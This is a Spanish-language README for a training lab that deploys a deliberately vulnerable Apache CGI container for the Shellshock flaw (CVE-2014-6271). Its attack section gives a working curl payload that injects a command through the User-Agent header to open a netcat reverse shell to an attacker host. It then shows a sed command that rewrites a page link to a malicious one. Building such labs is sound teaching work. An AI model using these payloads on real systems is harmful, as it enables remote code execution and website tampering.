CVE-2014-6271-Apache-Debian

Resumen

Este repositorio es un entorno PoC de CVE-2014-6271.
Puede desplegar un servicio web que incluye la vulnerabilidad utilizando la imagen de contenedor apache2.

Preparación

Construcción de la imagen

Construya la imagen insegura desde el Dockerfile.

# docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/
# docker build -t training-website-poc:v1.0 ./web-insecure/

Desplegar el contenedor PoC

Docker

Despliegue el contenedor PoC como un contenedor docker.

# docker run -d -p 8080:80 training-website-poc:v1.0

Kubernetes

Despliegue el contenedor PoC como un pod y un servicio de k8s.

# kubectl apply -f web-insecure/k8s-manifest/web-insecure-pod.yml
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-svc.yml

Acceder al servicio web PoC

Una vez completado el despliegue, puede navegar por la página web accediendo a la siguiente URL con un navegador.
Puede acceder al entorno de laboratorio k8s haciendo clic en el enlace «Click!» debajo de la página web.

Docker

http://<docker host IP>:8080

Kubernetes

http://<k8s service endpoint>:<k8s service port>

Demostración del ataque

En esta demostración, puede modificar la página web desde el Host Atacante (fuera del contenedor) explotando la vulnerabilidad de CVE-2014-6271.

Ejecute estos comandos desde el host atacante.

Terminal 1

# nc -nvlp 5050

Terminal 2
※En este caso, desplegamos el contenedor PoC usando Docker. En el caso de Kubernetes, la URL debería ser http://<k8s service endpoint>:<k8s service port>.

# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <Attacker Host IP> 5050" http://<docker host IP>:8080/cgi-bin/vulnerable

Después de eso, puede ver que el /bin/bash del contenedor PoC se puede ejecutar en la terminal 1.

Listening on 0.0.0.0 5050
Connection received on 172.17.0.2 38926
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
pwd
/usr/lib/cgi-bin

Cambie el enlace «Click!» de la página web.
En este caso, usamos una página ficticia para el enlace malicioso.

sudo sed -i -e 's/https\:\/\/www.katacoda.com\/courses\/kubernetes/danger.html/' /var/www/html/index.html

Acceda de nuevo a la página web y haga clic en el enlace «Click!» debajo de la página web.

http://<docker host IP>:8080

Referencias

https://github.com/hmlio/vaas-cve-2014-6271
https://github.com/opsxcq/exploit-CVE-2014-6271